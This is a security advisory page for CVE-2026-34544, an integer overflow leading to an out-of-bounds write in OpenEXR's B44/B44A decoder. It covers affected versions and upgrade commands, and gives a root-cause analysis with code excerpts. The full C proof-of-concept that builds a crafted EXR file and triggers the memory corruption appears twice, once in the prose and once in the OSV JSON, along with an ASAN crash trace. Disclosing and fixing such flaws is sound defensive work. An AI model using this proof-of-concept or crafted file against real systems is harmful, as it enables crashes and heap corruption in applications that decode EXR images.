CVE-2026-34544: OpenEXR Integer Overflow To OOB Write Vulnerability

HIGH
Advisory Identifier: GHSA-h762-rhv3-h25v
CWE-190 CWE-787
Published
Advisory Summary

CVE-2026-34544 is a HIGH integer overflow to oob write vulnerability (CWE-190: Integer Overflow or Wraparound) affecting OpenEXR libraries in the PyPI ecosystem. The issue involves integer overflow to oob write in uncompress_b44_impl(). Remediation is available by upgrading affected packages to version 3.4.8.

CVE-2026-34544 at a Glance

CVE Identifier CVE-2026-34544
GHSA Identifier GHSA-h762-rhv3-h25v
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-190: Integer Overflow or Wraparound
Affected Product OpenEXR
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix CVE-2026-34544

To remediate this vulnerability, upgrade all affected OpenEXR dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

openexr fixed: 3.4.8
pip install openexr>=3.4.8
openexr fixed: Latest secure release
pip install openexr>=Latest secure release
openexr fixed: Latest secure release
pip install openexr>=Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show openexr

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-34544, inspect your installed packages using pip:

pip show openexr

Analyze the terminal output to locate any version of OpenEXR in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.4.8), your application is affected.

Note: The pip show openexr command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-190: Integer Overflow or Wraparound, where the product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. this occurs when an integer value is incremented to a value that is too large to store in the associated representation. when this occurs, the value may become a very small or negative number. In OpenEXR, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The B44/B44A decoder in OpenEXR reconstructs row pointers into a scratch buffer using int. When the channel width (nx) is large enough, the product y * nx overflows int, causing the row pointer to wrap before the start of the scratch buffer. Subsequent memcpy() calls then write decoded pixel blocks to an invalid address, producing an active out-of-bounds write. ### Root cause * Variable declarations (internal_b44.c:535) ```c int nx, ny; ``` `nx` and `ny` are declared as plain int. They are assigned from `curc->width` and `curc->height` which are int32_t. * Scratch buffer allocation (internal_b44:543) ```c nBytes = (uint64_t) (ny) * (uint64_t) (nx) * (uint64_t) (curc->bytes_per_element); ``` The allocation path correctly promotes to uint64_t before multiplying. The scratch buffer is always large enough to hold the full channel. * Row pointer reconstruction (internal_b44:560) ```c row0 = (uint16_t*) scratch; row0 += y * nx; row1 = row0 + nx; row2 = row1 + nx; row3 = row2 + nx; ``` `y` and `nx` are both int. The product `y * nx` is computed in int. If this product exceeds INT_MAX (2,147,483,647), the result is signed integer overflow * Out of Band write (internal_b44:592) ```c memcpy (row0, &s[0], n); memcpy (row1, &s[4], n); memcpy (row2, &s[8], n); memcpy (row3, &s[12], n); ``` These four writes copy decoded B44 pixel blocks into row0–row3, which now point to memory before the scratch buffer. The same pattern is present in the encoder path (ht_apply_impl), lines 431–432, where row0–row3 are read rather than written, producing an out-of-bounds read. ### PoC The PoC generates a valid B44 scanline EXR file (268435456 × 9, single HALF channel) and immediately decodes it. During decompression, uncompress_b44_impl() computes `row0 += y * nx`, with y=8 and nx=268435456, the product exceeds INT_MAX, triggering a signed integer overflow that displaces row0 before the scratch buffer. The subsequent memcpy() writes to this invalid address, causing the crash. The generated file /tmp/poc_b44.exr can be replayed independently on any OpenEXR installation. ```poc.cpp #include <openexr.h> #include <inttypes.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #define CHECK(call) do { exr_result_t _rv = (call); if (_rv != EXR_ERR_SUCCESS) { fprintf(stderr, "%s failed (%d)\n", #call, (int)_rv); goto fail; } } while (0) static void fill_blocks(uint8_t* out, uint64_t n) { for (uint64_t i = 0; i < n; i++, out += 3) { out[0] = 0x00; out[1] = 0x00; out[2] = (13u << 2); } } int main(void) { const int64_t W = 268435456; const int64_t H = 9; const char* path = "/tmp/poc_b44.exr"; const uint64_t blocks = (uint64_t)(W / 4) * 2 + 1; const uint64_t psz = blocks * 3; uint8_t* packed = (uint8_t*) malloc(psz); exr_context_t ctxt = NULL; exr_context_initializer_t cinit = EXR_DEFAULT_CONTEXT_INITIALIZER; int part = -1; exr_chunk_info_t cinfo; exr_decode_pipeline_t dec = EXR_DECODE_PIPELINE_INITIALIZER; uint16_t dummy = 0; int ok = 0; if (!packed) { fprintf(stderr, "malloc failed\n"); return 1; } fill_blocks(packed, blocks); CHECK(exr_start_write(&ctxt, path, EXR_WRITE_FILE_DIRECTLY, &cinit)); CHECK(exr_add_part(ctxt, "scan", EXR_STORAGE_SCANLINE, &part)); CHECK(exr_initialize_required_attr_simple( ctxt, part, (int32_t)W, (int32_t)H, EXR_COMPRESSION_B44)); CHECK(exr_add_channel(ctxt, part, "Y", EXR_PIXEL_HALF, EXR_PERCEPTUALLY_LOGARITHMIC, 1, 1)); CHECK(exr_write_header(ctxt)); CHECK(exr_write_scanline_chunk(ctxt, part, 0, packed, psz)); exr_finish(&ctxt); ctxt = NULL; fprintf(stderr, "[*] wrote %s W=%"PRId64" H=%"PRId64 " packed=%"PRIu64" bytes\n", path, W, H, psz); CHECK(exr_start_read(&ctxt, path, &cinit)); CHECK(exr_read_scanline_chunk_info(ctxt, 0, 0, &cinfo)); CHECK(exr_decoding_initialize(ctxt, 0, &cinfo, &dec)); dec.channels[0].decode_to_ptr = (uint8_t*)&dummy; dec.channels[0].user_pixel_stride = 2; dec.channels[0].user_line_stride = dec.channels[0].width * 2; dec.channels[0].user_bytes_per_element = 2; dec.channels[0].user_data_type = dec.channels[0].data_type; CHECK(exr_decoding_choose_default_routines(ctxt, 0, &dec)); dec.unpack_and_convert_fn = NULL; fprintf(stderr, "[*] calling exr_decoding_run()h\n"); fflush(stderr); CHECK(exr_decoding_run(ctxt, 0, &dec)); ok = 1; fail: if (ctxt) { exr_decoding_destroy(ctxt, &dec); exr_finish(&ctxt); } free(packed); return ok ? 0 : 1; } ``` ### ASAN Trace ``` openexr/src/lib/OpenEXRCore/internal_b44.c:561:23: runtime error: signed integer overflow: 8 * 268435456 cannot be represented in type 'int' #0 in uncompress_b44_impl internal_b44.c:561 #1 in internal_exr_undo_b44 internal_b44.c:706 #2 in decompress_data compression.c:444 #3 in exr_uncompress_chunk compression.c:541 #4 in exr_decoding_run decoding.c:580 #5 in main poc.c:83 ================================================================= ==PID==ERROR: AddressSanitizer: SEGV on unknown address 0x7fe65cfbc800 ==PID==The signal is caused by a WRITE memory access. #0 in memcpy (libc) #1 in uncompress_b44_impl internal_b44.c:599 #2 in internal_exr_undo_b44 internal_b44.c:706 #3 in decompress_data compression.c:444 #4 in exr_uncompress_chunk compression.c:541 #5 in exr_decoding_run decoding.c:580 #6 in main poc.c:83 SUMMARY: AddressSanitizer: SEGV — WRITE via memcpy in uncompress_b44_impl internal_b44.c:599 ``` ### Impact A crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exr_decoding_run(). Consequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent).

CVE-2026-34544 Affected OpenEXR Versions

3 component(s)
Fixed Versions:
3.4.8
Product / Package Ecosystem Affected Versions Fixed Version
openexr
PyPI
≥ 3.4.0
< 3.4.8
3.4.8
openexr
PyPI
≥ 3.3.0
≤ 3.3.8
openexr
PyPI
≥ 3.2.0
≤ 3.2.6

References

Frequently Asked Questions

What is CVE-2026-34544?
CVE-2026-34544 is a security vulnerability in OpenEXR involving integer overflow to OOB write in uncompress_b44_impl() under CWE-190: Integer Overflow or Wraparound.
Which OpenEXR versions are affected?
Affected versions include releases prior to 3.4.8 across affected packages: openexr.
What version fixes CVE-2026-34544?
Upgrading to 3.4.8 (or the latest patched release for your respective branch) resolves the vulnerability.
Is openexr affected?
Yes, openexr is affected in releases prior to 3.4.8, Latest secure release. Upgrade your dependency to 3.4.8, Latest secure release or later.
What CWE is associated with CVE-2026-34544?
CVE-2026-34544 is classified under CWE-190: Integer Overflow or Wraparound (The product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. This occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may become a very small or negative number.).
How can I check PyPI dependencies for CVE-2026-34544?
Run the dependency tree command: 'pip show openexr'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-h762-rhv3-h25v",
  "modified" : "2026-04-03T21:47:07Z",
  "published" : "2026-04-03T21:47:07Z",
  "aliases" : [ "CVE-2026-34544" ],
  "summary" : "OpenEXR: integer overflow to OOB write in uncompress_b44_impl()",
  "details" : "### Summary\nThe B44/B44A decoder in OpenEXR reconstructs row pointers into a scratch buffer using int. When the channel width (nx) is large enough, the product y * nx overflows int, causing the row pointer to wrap before the start of the scratch buffer. Subsequent memcpy() calls then write decoded pixel blocks to an invalid address, producing an active out-of-bounds write.\n\n### Root cause \n* Variable declarations (internal_b44.c:535)\n```c\nint nx, ny;\n```\n`nx` and `ny` are declared as plain int. They are assigned from `curc->width` and `curc->height` which are int32_t.\n\n* Scratch buffer allocation (internal_b44:543)\n```c\nnBytes = (uint64_t) (ny) * (uint64_t) (nx) *\n               (uint64_t) (curc->bytes_per_element);\n```\nThe allocation path correctly promotes to uint64_t before multiplying.\nThe scratch buffer is always large enough to hold the full channel.\n\n* Row pointer reconstruction (internal_b44:560)\n```c\nrow0 = (uint16_t*) scratch;\nrow0 += y * nx;          \nrow1 = row0 + nx;\nrow2 = row1 + nx;\nrow3 = row2 + nx;\n```\n`y` and `nx` are both int. The product `y * nx` is computed in int. If this product exceeds INT_MAX (2,147,483,647), the result is signed integer overflow\n\n* Out of Band write (internal_b44:592)\n```c\nmemcpy (row0, &s[0], n);\nmemcpy (row1, &s[4], n);\nmemcpy (row2, &s[8], n);\nmemcpy (row3, &s[12], n);\n```\nThese four writes copy decoded B44 pixel blocks into row0–row3, which now point to memory before the scratch buffer. \nThe same pattern is present in the encoder path (ht_apply_impl), lines 431–432, where row0–row3 are read rather than written, producing an out-of-bounds read.\n\n### PoC\nThe PoC generates a valid B44 scanline EXR file (268435456 × 9, single HALF channel) and immediately decodes it. During decompression, uncompress_b44_impl() computes `row0 += y * nx`, with y=8 and nx=268435456, the product exceeds INT_MAX, triggering a signed integer overflow that displaces row0 before the scratch buffer. The subsequent memcpy() writes to this invalid address, causing the crash. The generated file /tmp/poc_b44.exr can be replayed independently on any OpenEXR installation.\n```poc.cpp\n#include <openexr.h>\n#include <inttypes.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#define CHECK(call)                                                  \n    do {                                                             \n        exr_result_t _rv = (call);                                   \n        if (_rv != EXR_ERR_SUCCESS) {                                \n            fprintf(stderr, \"%s failed (%d)\\n\", #call, (int)_rv);   \n            goto fail;                                               \n        }                                                            \n    } while (0)\n\nstatic void fill_blocks(uint8_t* out, uint64_t n) {\n    for (uint64_t i = 0; i < n; i++, out += 3) {\n        out[0] = 0x00; out[1] = 0x00; out[2] = (13u << 2);\n    }\n}\n\nint main(void) {\n    const int64_t  W      = 268435456;\n    const int64_t  H      = 9;\n    const char*    path   = \"/tmp/poc_b44.exr\";\n\n    const uint64_t blocks = (uint64_t)(W / 4) * 2 + 1;\n    const uint64_t psz    = blocks * 3;\n\n    uint8_t* packed = (uint8_t*) malloc(psz);\n    exr_context_t         ctxt   = NULL;\n    exr_context_initializer_t cinit = EXR_DEFAULT_CONTEXT_INITIALIZER;\n    int                   part   = -1;\n    exr_chunk_info_t      cinfo;\n    exr_decode_pipeline_t dec    = EXR_DECODE_PIPELINE_INITIALIZER;\n    uint16_t              dummy  = 0;\n    int                   ok     = 0;\n\n    if (!packed) { fprintf(stderr, \"malloc failed\\n\"); return 1; }\n    fill_blocks(packed, blocks);\n\n    CHECK(exr_start_write(&ctxt, path, EXR_WRITE_FILE_DIRECTLY, &cinit));\n    CHECK(exr_add_part(ctxt, \"scan\", EXR_STORAGE_SCANLINE, &part));\n    CHECK(exr_initialize_required_attr_simple(\n              ctxt, part, (int32_t)W, (int32_t)H, EXR_COMPRESSION_B44));\n    CHECK(exr_add_channel(ctxt, part, \"Y\", EXR_PIXEL_HALF,\n                          EXR_PERCEPTUALLY_LOGARITHMIC, 1, 1));\n    CHECK(exr_write_header(ctxt));\n    CHECK(exr_write_scanline_chunk(ctxt, part, 0, packed, psz));\n    exr_finish(&ctxt); ctxt = NULL;\n\n    fprintf(stderr, \"[*] wrote %s  W=%\"PRId64\" H=%\"PRId64 \"  packed=%\"PRIu64\" bytes\\n\", path, W, H, psz);\n\n\n    CHECK(exr_start_read(&ctxt, path, &cinit));\n    CHECK(exr_read_scanline_chunk_info(ctxt, 0, 0, &cinfo));\n    CHECK(exr_decoding_initialize(ctxt, 0, &cinfo, &dec));\n\n    dec.channels[0].decode_to_ptr          = (uint8_t*)&dummy;\n    dec.channels[0].user_pixel_stride      = 2;\n    dec.channels[0].user_line_stride       = dec.channels[0].width * 2;\n    dec.channels[0].user_bytes_per_element = 2;\n    dec.channels[0].user_data_type         = dec.channels[0].data_type;\n\n    CHECK(exr_decoding_choose_default_routines(ctxt, 0, &dec));\n    dec.unpack_and_convert_fn = NULL; \n\n    fprintf(stderr, \"[*] calling exr_decoding_run()h\\n\");\n    fflush(stderr);\n\n\n    CHECK(exr_decoding_run(ctxt, 0, &dec));\n    ok = 1;\n\nfail:\n    if (ctxt) { exr_decoding_destroy(ctxt, &dec); exr_finish(&ctxt); }\n    free(packed);\n    return ok ? 0 : 1;\n}\n```\n### ASAN Trace\n```\nopenexr/src/lib/OpenEXRCore/internal_b44.c:561:23: runtime error:\n    signed integer overflow: 8 * 268435456 cannot be represented in type 'int'\n    #0 in uncompress_b44_impl  internal_b44.c:561\n    #1 in internal_exr_undo_b44  internal_b44.c:706\n    #2 in decompress_data  compression.c:444\n    #3 in exr_uncompress_chunk  compression.c:541\n    #4 in exr_decoding_run  decoding.c:580\n    #5 in main  poc.c:83\n\n=================================================================\n==PID==ERROR: AddressSanitizer: SEGV on unknown address 0x7fe65cfbc800\n==PID==The signal is caused by a WRITE memory access.\n    #0 in memcpy  (libc)\n    #1 in uncompress_b44_impl  internal_b44.c:599\n    #2 in internal_exr_undo_b44  internal_b44.c:706\n    #3 in decompress_data  compression.c:444\n    #4 in exr_uncompress_chunk  compression.c:541\n    #5 in exr_decoding_run  decoding.c:580\n    #6 in main  poc.c:83\n\nSUMMARY: AddressSanitizer: SEGV — WRITE via memcpy in uncompress_b44_impl internal_b44.c:599\n```\n\n### Impact\nA crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exr_decoding_run(). \nConsequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent).",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "openexr"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.4.0"
      }, {
        "fixed" : "3.4.8"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.4.7"
    }
  }, {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "openexr"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.3.0"
      }, {
        "last_affected" : "3.3.8"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "openexr"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.2.0"
      }, {
        "last_affected" : "3.2.6"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-h762-rhv3-h25v"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34544"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/AcademySoftwareFoundation/openexr/commit/35e7aa35e22c1975606be86e859f31cc1fc598ee"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/AcademySoftwareFoundation/openexr"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.8"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-190", "CWE-787" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-03T21:47:07Z",
    "nvd_published_at" : "2026-04-01T21:17:01Z"
  }
}